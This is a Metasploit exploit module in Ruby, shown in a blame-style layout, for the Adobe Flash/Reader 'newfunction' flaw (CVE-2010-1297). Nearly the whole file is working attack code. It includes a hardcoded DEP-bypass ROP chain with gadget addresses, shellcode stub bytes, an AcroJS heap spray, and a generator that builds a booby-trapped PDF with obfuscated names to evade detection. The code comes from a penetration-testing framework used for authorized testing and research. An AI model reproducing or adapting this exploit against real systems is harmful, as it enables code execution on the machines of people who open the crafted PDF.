2010-06-10 19:52:43 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2010-06-10 19:52:43 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'zlib'
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
2013-08-30 21:28:54 +00:00
|
|
|
Rank = NormalRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::FILEFORMAT
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Adobe Flash Player "newfunction" Invalid Pointer Use',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a vulnerability in the DoABC tag handling within
|
|
|
|
versions 9.x and 10.0 of Adobe Flash Player. Adobe Reader and Acrobat are also
|
|
|
|
vulnerable, as are any other applications that may embed Flash player.
|
|
|
|
|
|
|
|
Arbitrary code execution is achieved by embedding a specially crafted Flash
|
|
|
|
movie into a PDF document. An AcroJS heap spray is used in order to ensure
|
|
|
|
that the memory used by the invalid pointer issue is controlled.
|
|
|
|
|
|
|
|
NOTE: This module uses a similar DEP bypass method to that used within the
|
|
|
|
adobe_libtiff module. This method is unlikely to work across various
|
|
|
|
Windows versions due a the hardcoded syscall number.
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'Unknown', # Found being openly exploited
|
|
|
|
'jduck' # Metasploit version
|
|
|
|
],
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
['CVE', '2010-1297'],
|
2016-07-15 17:00:31 +00:00
|
|
|
['OSVDB', '65141'],
|
2013-08-30 21:28:54 +00:00
|
|
|
['BID', '40586'],
|
|
|
|
['URL', 'http://www.adobe.com/support/security/advisories/apsa10-01.html'],
|
|
|
|
# For SWF->PDF embedding
|
|
|
|
['URL', 'http://feliam.wordpress.com/2010/02/11/flash-on-a-pdf-with-minipdf-py/']
|
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'process',
|
2017-02-23 23:04:36 +00:00
|
|
|
'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
|
2013-08-30 21:28:54 +00:00
|
|
|
'DisablePayloadHandler' => 'true',
|
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 1000,
|
|
|
|
'BadChars' => "\x00",
|
|
|
|
'DisableNops' => true
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
# Tested OK via Adobe Reader 9.3.0 on Windows XP SP3 (uses flash 10.0.42.34) -jjd
|
|
|
|
# Tested OK via Adobe Reader 9.3.1 on Windows XP SP3 (uses flash 10.0.45.2) -jjd
|
|
|
|
# Tested OK via Adobe Reader 9.3.2 on Windows XP SP3 (uses flash 10.0.45.2) -jjd
|
|
|
|
[ 'Automatic', { }],
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Jun 04 2010',
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
swf_data = make_swf()
|
|
|
|
js_data = make_js(payload.encoded)
|
|
|
|
|
|
|
|
# Create the pdf
|
|
|
|
pdf = make_pdf(swf_data, js_data)
|
|
|
|
|
|
|
|
print_status("Creating '#{datastore['FILENAME']}' file...")
|
|
|
|
|
|
|
|
file_create(pdf)
|
|
|
|
end
|
|
|
|
|
|
|
|
def make_swf
|
|
|
|
# load the static swf file
|
2013-09-26 19:34:48 +00:00
|
|
|
path = File.join( Msf::Config.data_directory, "exploits", "CVE-2010-1297.swf" )
|
2013-08-30 21:28:54 +00:00
|
|
|
fd = File.open( path, "rb" )
|
|
|
|
swf_data = fd.read(fd.stat.size)
|
|
|
|
fd.close
|
|
|
|
swf_data
|
|
|
|
end
|
|
|
|
|
|
|
|
def make_js(encoded_payload)
|
|
|
|
|
|
|
|
# The following executes a ret2lib using BIB.dll
|
|
|
|
# The effect is to bypass DEP and execute the shellcode in an indirect way
|
|
|
|
stack_data = [
|
|
|
|
0xc0c0c0c,
|
|
|
|
0x7004919, # pop ecx / pop ecx / mov [eax+0xc0],1 / pop esi / pop ebx / ret
|
|
|
|
0xcccccccc,
|
|
|
|
0x70048ef, # xchg eax,esp / ret
|
|
|
|
0x700156f, # mov eax,[ecx+0x34] / push [ecx+0x24] / call [eax+8]
|
|
|
|
0xcccccccc,
|
|
|
|
0x7009084, # ret
|
|
|
|
0x7009084, # ret
|
|
|
|
0x7009084, # ret
|
|
|
|
0x7009084, # ret
|
|
|
|
0x7009084, # ret
|
|
|
|
0x7009084, # ret
|
|
|
|
0x7009033, # ret 0x18
|
|
|
|
0x7009084, # ret
|
|
|
|
0xc0c0c0c,
|
|
|
|
0x7009084, # ret
|
|
|
|
0x7009084, # ret
|
|
|
|
0x7009084, # ret
|
|
|
|
0x7009084, # ret
|
|
|
|
0x7009084, # ret
|
|
|
|
0x7009084, # ret
|
|
|
|
0x7009084, # ret
|
|
|
|
0x7009084, # ret
|
|
|
|
0x7001599, # pop ebp / ret
|
|
|
|
0x10124,
|
|
|
|
0x70072f7, # pop eax / ret
|
|
|
|
0x10104,
|
|
|
|
0x70015bb, # pop ecx / ret
|
|
|
|
0x1000,
|
|
|
|
0x700154d, # mov [eax], ecx / ret
|
|
|
|
0x70015bb, # pop ecx / ret
|
|
|
|
0x7ffe0300, # -- location of KiFastSystemCall
|
|
|
|
0x7007fb2, # mov eax, [ecx] / ret
|
|
|
|
0x70015bb, # pop ecx / ret
|
|
|
|
0x10011,
|
|
|
|
0x700a8ac, # mov [ecx], eax / xor eax,eax / ret
|
|
|
|
0x70015bb, # pop ecx / ret
|
|
|
|
0x10100,
|
|
|
|
0x700a8ac, # mov [ecx], eax / xor eax,eax / ret
|
|
|
|
0x70072f7, # pop eax / ret
|
|
|
|
0x10011,
|
|
|
|
0x70052e2, # call [eax] / ret -- (KiFastSystemCall - VirtualAlloc?)
|
|
|
|
0x7005c54, # pop esi / add esp,0x14 / ret
|
|
|
|
0xffffffff,
|
|
|
|
0x10100,
|
|
|
|
0x0,
|
|
|
|
0x10104,
|
|
|
|
0x1000,
|
|
|
|
0x40,
|
|
|
|
# The next bit effectively copies data from the interleaved stack to the memory
|
|
|
|
# pointed to by eax
|
|
|
|
# The data copied is:
|
|
|
|
# \x5a\x90\x54\x90\x5a\xeb\x15\x58\x8b\x1a\x89\x18\x83\xc0\x04\x83
|
|
|
|
# \xc2\x04\x81\xfb\x0c\x0c\x0c\x0c\x75\xee\xeb\x05\xe8\xe6\xff\xff
|
|
|
|
# \xff\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xff\xff\xff\x90
|
|
|
|
0x700d731, # mov eax, [ebp-0x24] / ret
|
|
|
|
0x70015bb, # pop ecx / ret
|
|
|
|
0x9054905a,
|
|
|
|
0x700154d, # mov [eax], ecx / ret
|
|
|
|
0x700a722, # add eax, 4 / ret
|
|
|
|
0x70015bb, # pop ecx / ret
|
|
|
|
0x5815eb5a,
|
|
|
|
0x700154d, # mov [eax], ecx / ret
|
|
|
|
0x700a722, # add eax, 4 / ret
|
|
|
|
0x70015bb, # pop ecx / ret
|
|
|
|
0x18891a8b,
|
|
|
|
0x700154d, # mov [eax], ecx / ret
|
|
|
|
0x700a722, # add eax, 4 / ret
|
|
|
|
0x70015bb, # pop ecx / ret
|
|
|
|
0x8304c083,
|
|
|
|
0x700154d, # mov [eax], ecx / ret
|
|
|
|
0x700a722, # add eax, 4 / ret
|
|
|
|
0x70015bb, # pop ecx / ret
|
|
|
|
0xfb8104c2,
|
|
|
|
0x700154d, # mov [eax], ecx / ret
|
|
|
|
0x700a722, # add eax, 4 / ret
|
|
|
|
0x70015bb, # pop ecx / ret
|
|
|
|
0xc0c0c0c,
|
|
|
|
0x700154d, # mov [eax], ecx / ret
|
|
|
|
0x700a722, # add eax, 4 / ret
|
|
|
|
0x70015bb, # pop ecx / ret
|
|
|
|
0x5ebee75,
|
|
|
|
0x700154d, # mov [eax], ecx / ret
|
|
|
|
0x700a722, # add eax, 4 / ret
|
|
|
|
0x70015bb, # pop ecx / ret
|
|
|
|
0xffffe6e8,
|
|
|
|
0x700154d, # mov [eax], ecx / ret
|
|
|
|
0x700a722, # add eax, 4 / ret
|
|
|
|
0x70015bb, # pop ecx / ret
|
|
|
|
0x909090ff,
|
|
|
|
0x700154d, # mov [eax], ecx / ret
|
|
|
|
0x700a722, # add eax, 4 / ret
|
|
|
|
0x70015bb, # pop ecx / ret
|
|
|
|
0x90909090,
|
|
|
|
0x700154d, # mov [eax], ecx / ret
|
|
|
|
0x700a722, # add eax, 4 / ret
|
|
|
|
0x70015bb, # pop ecx / ret
|
|
|
|
0x90909090,
|
|
|
|
0x700154d, # mov [eax], ecx / ret
|
|
|
|
0x700a722, # add eax, 4 / ret
|
|
|
|
0x70015bb, # pop ecx / ret
|
|
|
|
0x90ffffff,
|
|
|
|
0x700154d, # mov [eax], ecx / ret
|
|
|
|
0x700d731, # mov eax, [ebp-0x24] / ret
|
|
|
|
0x700112f # call eax -- (execute stub to transition to full shellcode)
|
|
|
|
].pack('V*')
|
|
|
|
|
|
|
|
var_unescape = rand_text_alpha(rand(100) + 1)
|
|
|
|
var_shellcode = rand_text_alpha(rand(100) + 1)
|
|
|
|
|
|
|
|
var_start = rand_text_alpha(rand(100) + 1)
|
|
|
|
|
|
|
|
var_s = 0x10000
|
|
|
|
var_c = rand_text_alpha(rand(100) + 1)
|
|
|
|
var_b = rand_text_alpha(rand(100) + 1)
|
|
|
|
var_d = rand_text_alpha(rand(100) + 1)
|
|
|
|
var_3 = rand_text_alpha(rand(100) + 1)
|
|
|
|
var_i = rand_text_alpha(rand(100) + 1)
|
|
|
|
var_4 = rand_text_alpha(rand(100) + 1)
|
|
|
|
|
|
|
|
payload_buf = ''
|
|
|
|
payload_buf << stack_data
|
|
|
|
payload_buf << encoded_payload
|
|
|
|
|
|
|
|
escaped_payload = Rex::Text.to_unescape(payload_buf)
|
|
|
|
|
|
|
|
js = %Q|
|
2010-06-10 19:52:43 +00:00
|
|
|
var #{var_unescape} = unescape;
|
|
|
|
var #{var_shellcode} = #{var_unescape}( '#{escaped_payload}' );
|
|
|
|
var #{var_c} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
|
|
|
|
while (#{var_c}.length + 20 + 8 < #{var_s}) #{var_c}+=#{var_c};
|
|
|
|
#{var_b} = #{var_c}.substring(0, (0x0c0c-0x24)/2);
|
|
|
|
#{var_b} += #{var_shellcode};
|
|
|
|
#{var_b} += #{var_c};
|
|
|
|
#{var_d} = #{var_b}.substring(0, #{var_s}/2);
|
|
|
|
while(#{var_d}.length < 0x80000) #{var_d} += #{var_d};
|
|
|
|
#{var_3} = #{var_d}.substring(0, 0x80000 - (0x1020-0x08) / 2);
|
|
|
|
var #{var_4} = new Array();
|
|
|
|
for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s";
|
|
|
|
|
|
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
js
|
|
|
|
end
|
|
|
|
|
2014-12-12 12:16:21 +00:00
|
|
|
def random_non_ascii_string(count)
|
2013-08-30 21:28:54 +00:00
|
|
|
result = ""
|
|
|
|
count.times do
|
|
|
|
result << (rand(128) + 128).chr
|
|
|
|
end
|
|
|
|
result
|
|
|
|
end
|
|
|
|
|
2014-12-12 12:16:21 +00:00
|
|
|
def io_def(id)
|
2013-08-30 21:28:54 +00:00
|
|
|
"%d 0 obj\n" % id
|
|
|
|
end
|
|
|
|
|
2014-12-12 12:16:21 +00:00
|
|
|
def io_ref(id)
|
2013-08-30 21:28:54 +00:00
|
|
|
"%d 0 R" % id
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
|
2014-12-12 12:16:21 +00:00
|
|
|
def n_obfu(str)
|
2013-08-30 21:28:54 +00:00
|
|
|
result = ""
|
|
|
|
str.scan(/./u) do |c|
|
|
|
|
if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
|
|
|
|
result << "#%x" % c.unpack("C*")[0]
|
|
|
|
else
|
|
|
|
result << c
|
|
|
|
end
|
|
|
|
end
|
|
|
|
result
|
|
|
|
end
|
|
|
|
|
|
|
|
|
2014-12-12 12:16:21 +00:00
|
|
|
def ascii_hex_whitespace_encode(str)
|
2013-08-30 21:28:54 +00:00
|
|
|
result = ""
|
|
|
|
whitespace = ""
|
|
|
|
str.each_byte do |b|
|
|
|
|
result << whitespace << "%02x" % b
|
|
|
|
whitespace = " " * (rand(3) + 1)
|
|
|
|
end
|
|
|
|
result << ">"
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
def make_pdf(swf, js)
|
|
|
|
|
|
|
|
swf_name = rand_text_alpha(8 + rand(8)) + ".swf"
|
|
|
|
|
|
|
|
xref = []
|
|
|
|
eol = "\n"
|
|
|
|
endobj = "endobj" << eol
|
|
|
|
|
|
|
|
# Randomize PDF version?
|
|
|
|
pdf = "%PDF-1.5" << eol
|
2014-12-12 12:16:21 +00:00
|
|
|
#pdf << "%" << random_non_ascii_string(4) << eol
|
2013-08-30 21:28:54 +00:00
|
|
|
|
|
|
|
# catalog
|
|
|
|
xref << pdf.length
|
2014-12-12 12:16:21 +00:00
|
|
|
pdf << io_def(1) << n_obfu("<</Type/Catalog")
|
|
|
|
pdf << n_obfu("/Pages ") << io_ref(3)
|
|
|
|
pdf << n_obfu("/OpenAction ") << io_ref(5)
|
|
|
|
pdf << n_obfu(">>")
|
2013-08-30 21:28:54 +00:00
|
|
|
pdf << eol << endobj
|
|
|
|
|
|
|
|
# pages array
|
|
|
|
xref << pdf.length
|
2014-12-12 12:16:21 +00:00
|
|
|
pdf << io_def(3) << n_obfu("<</Type/Pages/Count 1/Kids [") << io_ref(4) << n_obfu("]>>") << eol << endobj
|
2013-08-30 21:28:54 +00:00
|
|
|
|
|
|
|
# page 1
|
|
|
|
xref << pdf.length
|
2014-12-12 12:16:21 +00:00
|
|
|
pdf << io_def(4) << n_obfu("<</Type/Page/Parent ") << io_ref(3)
|
|
|
|
pdf << n_obfu("/Annots [") << io_ref(7) << n_obfu("] ")
|
|
|
|
pdf << n_obfu(">>")
|
2013-08-30 21:28:54 +00:00
|
|
|
pdf << eol << endobj
|
|
|
|
|
|
|
|
# js action
|
|
|
|
xref << pdf.length
|
2014-12-12 12:16:21 +00:00
|
|
|
pdf << io_def(5) << n_obfu("<</Type/Action/S/JavaScript/JS ") + io_ref(6) + ">>" << eol << endobj
|
2013-08-30 21:28:54 +00:00
|
|
|
|
|
|
|
# js stream
|
|
|
|
xref << pdf.length
|
2014-12-12 12:16:21 +00:00
|
|
|
compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js))
|
|
|
|
pdf << io_def(6) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
|
2013-08-30 21:28:54 +00:00
|
|
|
pdf << "stream" << eol
|
|
|
|
pdf << compressed << eol
|
|
|
|
pdf << "endstream" << eol
|
|
|
|
pdf << endobj
|
|
|
|
|
|
|
|
# swf annotation object
|
|
|
|
xref << pdf.length
|
2014-12-12 12:16:21 +00:00
|
|
|
pdf << io_def(7) << n_obfu("<</Type/Annot/Subtype/RichMedia")
|
|
|
|
pdf << n_obfu("/Rect [20 20 187 69] ")
|
|
|
|
pdf << n_obfu("/RichMediaSettings ") << io_ref(8)
|
|
|
|
pdf << n_obfu("/RichMediaContent ") << io_ref(9)
|
|
|
|
pdf << n_obfu("/NM (") << swf_name << n_obfu(")")
|
|
|
|
pdf << n_obfu(">>")
|
2013-08-30 21:28:54 +00:00
|
|
|
pdf << eol << endobj
|
|
|
|
|
|
|
|
# rich media settings
|
|
|
|
xref << pdf.length
|
2014-12-12 12:16:21 +00:00
|
|
|
pdf << io_def(8)
|
|
|
|
pdf << n_obfu("<</Type/RichMediaSettings/Subtype/Flash")
|
|
|
|
pdf << n_obfu("/Activation ") << io_ref(10)
|
|
|
|
pdf << n_obfu("/Deactivation ") << io_ref(11)
|
|
|
|
pdf << n_obfu(">>")
|
2013-08-30 21:28:54 +00:00
|
|
|
pdf << eol << endobj
|
|
|
|
|
|
|
|
# rich media content
|
|
|
|
xref << pdf.length
|
2014-12-12 12:16:21 +00:00
|
|
|
pdf << io_def(9)
|
|
|
|
pdf << n_obfu("<</Type/RichMediaContent")
|
|
|
|
pdf << n_obfu("/Assets ") << io_ref(12)
|
|
|
|
pdf << n_obfu("/Configurations [") << io_ref(14) << "]"
|
|
|
|
pdf << n_obfu(">>")
|
2013-08-30 21:28:54 +00:00
|
|
|
pdf << eol << endobj
|
|
|
|
|
|
|
|
# rich media activation / deactivation
|
|
|
|
xref << pdf.length
|
2014-12-12 12:16:21 +00:00
|
|
|
pdf << io_def(10)
|
|
|
|
pdf << n_obfu("<</Type/RichMediaActivation/Condition/PO>>")
|
2013-08-30 21:28:54 +00:00
|
|
|
pdf << eol << endobj
|
|
|
|
|
|
|
|
xref << pdf.length
|
2014-12-12 12:16:21 +00:00
|
|
|
pdf << io_def(11)
|
|
|
|
pdf << n_obfu("<</Type/RichMediaDeactivation/Condition/XD>>")
|
2013-08-30 21:28:54 +00:00
|
|
|
pdf << eol << endobj
|
|
|
|
|
|
|
|
# rich media assets
|
|
|
|
xref << pdf.length
|
2014-12-12 12:16:21 +00:00
|
|
|
pdf << io_def(12)
|
|
|
|
pdf << n_obfu("<</Names [(#{swf_name}) ") << io_ref(13) << n_obfu("]>>")
|
2013-08-30 21:28:54 +00:00
|
|
|
pdf << eol << endobj
|
|
|
|
|
|
|
|
# swf embeded file ref
|
|
|
|
xref << pdf.length
|
2014-12-12 12:16:21 +00:00
|
|
|
pdf << io_def(13)
|
|
|
|
pdf << n_obfu("<</Type/Filespec /EF <</F ") << io_ref(16) << n_obfu(">> /F(#{swf_name})>>")
|
2013-08-30 21:28:54 +00:00
|
|
|
pdf << eol << endobj
|
|
|
|
|
|
|
|
# rich media configuration
|
|
|
|
xref << pdf.length
|
2014-12-12 12:16:21 +00:00
|
|
|
pdf << io_def(14)
|
|
|
|
pdf << n_obfu("<</Type/RichMediaConfiguration/Subtype/Flash")
|
|
|
|
pdf << n_obfu("/Instances [") << io_ref(15) << n_obfu("]>>")
|
2013-08-30 21:28:54 +00:00
|
|
|
pdf << eol << endobj
|
|
|
|
|
|
|
|
# rich media isntance
|
|
|
|
xref << pdf.length
|
2014-12-12 12:16:21 +00:00
|
|
|
pdf << io_def(15)
|
|
|
|
pdf << n_obfu("<</Type/RichMediaInstance/Subtype/Flash")
|
|
|
|
pdf << n_obfu("/Asset ") << io_ref(13)
|
|
|
|
pdf << n_obfu(">>")
|
2013-08-30 21:28:54 +00:00
|
|
|
pdf << eol << endobj
|
|
|
|
|
|
|
|
# swf stream
|
|
|
|
# NOTE: This data is already compressed, no need to compress it again...
|
|
|
|
xref << pdf.length
|
2014-12-12 12:16:21 +00:00
|
|
|
pdf << io_def(16) << n_obfu("<</Type/EmbeddedFile/Length %s>>" % swf.length) << eol
|
2013-08-30 21:28:54 +00:00
|
|
|
pdf << "stream" << eol
|
|
|
|
pdf << swf << eol
|
|
|
|
pdf << "endstream" << eol
|
|
|
|
pdf << endobj
|
|
|
|
|
|
|
|
# trailing stuff
|
|
|
|
xrefPosition = pdf.length
|
|
|
|
pdf << "xref" << eol
|
|
|
|
pdf << "0 %d" % (xref.length + 1) << eol
|
|
|
|
pdf << "0000000000 65535 f" << eol
|
|
|
|
xref.each do |index|
|
|
|
|
pdf << "%010d 00000 n" % index << eol
|
|
|
|
end
|
|
|
|
|
|
|
|
pdf << "trailer" << eol
|
2014-12-12 12:16:21 +00:00
|
|
|
pdf << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(1) << ">>" << eol
|
2013-08-30 21:28:54 +00:00
|
|
|
|
|
|
|
pdf << "startxref" << eol
|
|
|
|
pdf << xrefPosition.to_s() << eol
|
|
|
|
|
|
|
|
pdf << "%%EOF" << eol
|
|
|
|
pdf
|
|
|
|
end
|
2010-06-10 19:52:43 +00:00
|
|
|
|
|
|
|
end
|